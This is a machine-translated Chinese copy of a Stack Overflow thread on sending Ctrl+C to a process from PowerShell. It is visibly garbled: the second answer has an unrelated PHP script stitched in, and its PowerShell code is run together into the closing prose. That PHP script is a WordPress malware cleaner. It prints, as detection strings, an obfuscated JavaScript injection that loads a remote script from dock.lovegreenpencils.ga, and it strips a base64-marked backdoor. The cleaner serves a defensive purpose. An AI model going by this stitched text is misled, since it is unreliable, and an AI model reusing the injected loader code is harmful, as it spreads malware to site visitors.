在PowerShell中将密钥发送到打开的窗口

时间:2016-09-14 09:13:16

标签: powershell

我制作了一个打开某个程序的程序,然后 Ctrl + C 它经过x次。

我现在正在使用此[System.Windows.Forms.SendKeys]::SendWait("^{c}")。 这会针对某个窗口或只是随机发送到当前窗口吗?

如何将其更改为某个窗口?

这是我的代码:

Write-Host "Safe Botting V0.1"
Write-Host "Initializing..."
Start-Sleep -s 3
Write-Host "Program started successfully with no errors."

While($true)
{
    Write-Host "Starting bot..."
    Start-Sleep -s 3
    Start-Process -FilePath E:\Documents\bot.exe
    Write-Host "Bot started successfully"
    $rnd = Get-Random -Minimum 1800 -Maximum 10800
    Write-Host "The bot will run for:"
    Write-Host $rnd
    Start-Sleep -s $rnd
    Write-Host "Bot will now stop!"
    [System.Windows.Forms.SendKeys]::SendWait("^{c}") 
    Write-Host "Bot terminated"
    Write-Host "Starting cooldown time"
    $rnb = Get-Random -Minimum 14400 -Maximum 28800
    Write-Host "The bot will cooldown for"
    Write-host $rnb
    Start-Sleep -s $rnb
    Write-Host "Cooldown Finished, Restarting"
    Start-Sleep -s 5
}

2 个答案:

答案 0 :(得分:2)

如果您有进程ID,可以将CTRL_C_EVENT信号发送到进程。在您的情况下,您可以从Start-Process获取(如果您不知道如何获取进程ID,请阅读文档)。它也可以从Window Handle中获取进程ID:

Find process id by window's handle

发送信号非常简单,但感谢@ Nemo1024,@ KindDragon和Stack Overflow已经解决了这个问题:

Can I send a ctrl-C (SIGINT) to an application on Windows?

不幸的是,使用我能找到的最佳方法也终止了调用PowerShell流程,我唯一能解决的办法是从我发布的新PowerShell实例发送信号。

在PowerShell中,它看起来像这样:

# be sure to set $ProcessID properly. Sending CTRL_C_EVENT signal can disrupt or terminate a process
$ProcessID = 1234
$encodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("Add-Type -Names 'w' -Name 'k' -M '[DllImport(""kernel32.dll"")]public static extern bool FreeConsole();[DllImport(""kernel32.dll"")]public static extern bool AttachConsole(uint p);[DllImport(""kernel32.dll"")]public static extern bool SetConsoleCtrlHandler(uint h, bool a);[DllImport(""kernel32.dll"")]public static extern bool GenerateConsoleCtrlEvent(uint e, uint p);public static void SendCtrlC(uint p){FreeConsole();AttachConsole(p);GenerateConsoleCtrlEvent(0, 0);}';[w.k]::SendCtrlC($ProcessID)"))
start-process powershell.exe -argument "-nologo -noprofile -executionpolicy bypass -EncodedCommand $encodedCommand"

是的,我知道这非常难看。

答案 1 :(得分:0)

感谢jimhark,我找到了一种使它工作的方法,而无需产生单独的PowerShell进程来发送Ctrl-C。如果还发送了发送Ctrl-C的PowerShell进程(例如使用Start-Process),它也将其发送Ctrl-C的进程派生到:

<?php

error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('memory_limit',"256M");

ob_implicit_flush(1);

ob_start();

$backup_dir = "/var/badfiles";
$html_dir = "/var/www";

if(!is_dir($backup_dir)) mkdir($backup_dir);

$dir_iterator = new RecursiveDirectoryIterator($html_dir);
$iterator = new RecursiveIteratorIterator($dir_iterator, RecursiveIteratorIterator::SELF_FIRST);

foreach ($iterator as $file) {
   if($file == __FILE__) continue;

   if (pathinfo($file, PATHINFO_FILENAME) == "wp-beckup") {
    backup_file($file);
    if(unlink($file)) {
       echo "[LGP Found]: Removed and Backed Up ({$file})<br>";
    }
   }

   if (pathinfo($file, PATHINFO_FILENAME) == "lte_") {
        backup_file($file);
        if(unlink($file)) {
           echo "[LGP Found]: Removed and Backed Up ({$file})<br>";
        }
   }

$bad_text = "<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>";
if (pathinfo($file, PATHINFO_EXTENSION) == "php" ) {
        $contents = file_get_contents($file);

        if(strpos($contents, $bad_text) !== false) {

            backup_file($file);

            $contents = str_replace($bad_text, '', $contents);

            file_put_contents($file, $contents);

            echo "[LGP Found]: Code Removed and Backed Up ({$file})<br>";
        }
}

   if (pathinfo($file, PATHINFO_EXTENSION) == "php" || pathinfo($file, PATHINFO_EXTENSION) == "html") {
    $bad_text = "<script type='text/javascript' src='https://dock.lovegreenpencils.ga/m.js?n=nb5'></script>";
    $contents = file_get_contents($file);

    if(strpos($contents, $bad_text) !== false) {

            backup_file($file);

        $contents = str_replace($bad_text, '', $contents);

        file_put_contents($file, $contents);

        echo "[LGP Found]: Code Removed and Backed Up ({$file})<br>";
    }
   }

  $bad_text = "Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();";
   if (pathinfo($file, PATHINFO_EXTENSION) == "jshintrc" || pathinfo($file, PATHINFO_EXTENSION) == "map" || pathinfo($file, PATHINFO_EXTENSION) == "jsx" || pathinfo($file, PATHINFO_EXTENSION) == "php" || pathinfo($file, PATHINFO_EXTENSION) == "js" || pathinfo($file, PATHINFO_EXTENSION) == "gz" || pathinfo($file, PATHINFO_EXTENSION) == "json") {
        $contents = file_get_contents($file);

        if(strpos($contents, $bad_text) !== false) {

            backup_file($file);

            $contents = str_replace($bad_text, '', $contents);

            file_put_contents($file, $contents);

            echo "[LGP Found]: Code Removed and Backed Up ({$file})<br>";
        }
   }






   if (pathinfo($file, PATHINFO_FILENAME) == "wp-blog-header" && pathinfo($file, PATHINFO_EXTENSION) == "php") {
      $contents = file_get_contents($file);

      if(strpos($contents, 'MDIzMjU4YmJlYjdjZTk1NWE2OTBkY2EwNTZiZTg4NWQ=') !== false) {
        backup_file($file);

    $contents = substr($contents, strpos($contents, "cGFnZV9ub3RfZm91bmRfNDA0")+32);

    file_put_contents($file, $contents);
        echo "[VCD Found]: Code Removed and Backed Up ({$file})<br>";
      }
   }

}

function backup_file($file) {
    global $backup_dir;

    $contents = file_get_contents($file);
        if(!is_dir(dirname($backup_dir.$file))) {
       mkdir(dirname($backup_dir.$file),0777,true);
    }
file_put_contents($backup_dir.$file, $contents);
}

使事情起作用的原因是将GenerateConsoleCtrlEvent发送到所需的进程组,而不是将$ProcessID = 1234 $MemberDefinition = ' [DllImport("kernel32.dll")]public static extern bool FreeConsole(); [DllImport("kernel32.dll")]public static extern bool AttachConsole(uint p); [DllImport("kernel32.dll")]public static extern bool GenerateConsoleCtrlEvent(uint e, uint p); public static void SendCtrlC(uint p) { FreeConsole(); AttachConsole(p); GenerateConsoleCtrlEvent(0, p); FreeConsole(); AttachConsole(uint.MaxValue); }' Add-Type -Name 'dummyName' -Namespace 'dummyNamespace' -MemberDefinition $MemberDefinition [dummyNamespace.dummyName]::SendCtrlC($ProcessID) } AttachConsole发送回all processes that share the console of the calling process